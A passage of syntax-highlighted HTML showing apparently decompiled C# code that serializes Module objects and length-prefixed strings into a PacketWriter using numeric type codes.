/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">11</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text&nbsp;</span><span style="color: #007700">=&nbsp;(string)</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ArrayList&nbsp;arrayList2&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">)((</span><span style="color: #0000BB">Module</span><span style="color: #007700">)</span><span style="color: #0000BB">obj</span><span style="color: #007700">).</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">arrayList2&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;j&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">j&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">arrayList2</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">j</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">11</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">arrayList2</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">j</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">12</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #DD0000">"Not&nbsp;expected:&nbsp;ArrayEnd"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">13</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteString</span><span style="color: #007700">((string)</span><span style="color: #0000BB">obj</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(((</span><span style="color: #0000BB">Module</span><span style="color: #007700">)</span><span style="color: #0000BB">obj</span><span style="color: #007700">).</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num</span><span style="color: #007700">&#93;),&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">void&nbsp;WriteString</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">PacketWriter&nbsp;dataOutput</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">text&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">255</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;len&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">128</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">len</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">8388608</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">IOException</span><span style="color: #007700">(</span><span style="color: #DD0000">"String&nbsp;too&nbsp;long:&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">((int)((</span><span style="color: #0000BB">uint</span><span style="color: #007700">)</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">16&nbsp;</span><span style="color: #007700">|&nbsp;</span><span style="color: #0000BB">128u</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">((int)((</span><span style="color: #0000BB">uint</span><span style="color: #007700">)</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">8&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">255u</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">255</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dataOutput</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteChars</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">object&nbsp;a</span><span style="color: #007700">(</span><span style="color: #0000BB">Module&nbsp;xb</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Int32&nbsp;integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;obj2&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;?&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">i</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">integer</span><span style="color: #007700">&#93;&nbsp;:&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">obj2&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">obj&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">xb</span><span style="color: #007700">.</span><span style="color: #0000BB">a</span><span style="color: #007700">(</span><span style="color: #0000BB">integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">void&nbsp;a</span><span style="color: #007700">(</span><span style="color: #0000BB">Int32&nbsp;integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">n&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">n&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">n</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(integer);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">n</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Module&nbsp;Add</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">object&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">b</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Module&nbsp;CreateModule</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;name</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Create</span><span style="color: #007700">((</span><span style="color: #0000BB">Int32</span><span style="color: #007700">)</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">g</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">name</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Module&nbsp;b</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">obj&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">values</span><span style="color: #007700">.</span><span style="color: #0000BB">Remove</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">values</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">void&nbsp;Set</span><span style="color: 